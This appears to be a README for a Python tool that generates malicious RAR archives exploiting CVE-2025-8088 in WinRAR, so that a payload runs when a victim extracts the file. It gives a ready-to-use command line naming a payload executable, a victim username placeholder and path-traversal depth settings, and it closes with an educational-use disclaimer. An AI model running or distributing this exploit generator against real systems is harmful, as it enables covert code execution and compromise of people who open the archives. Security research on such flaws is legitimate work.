
Python-based exploit generator for CVE-2025-8088 in WinRAR, crafting malicious RAR archives that execute payloads upon extraction for authorized security testing.
This repository contains a malicious RAR file generator that abuses the CVE-2025-8088 vulnerability in WinRAR, allowing a seemingly legitimate file to execute a payload when the victim extracts it.
python3 exploit_7.12.py \
-p payload.exe \
-o exploit.rar \
--username [NOTE VICTIM USER] \
--placeholder-len 200 \
--max-up 12 \
--verbose
python exploit_cli.py --help
This project is for educational and research purposes only. It should not be used on real systems without explicit authorization. The author assumes no responsibility for misuse.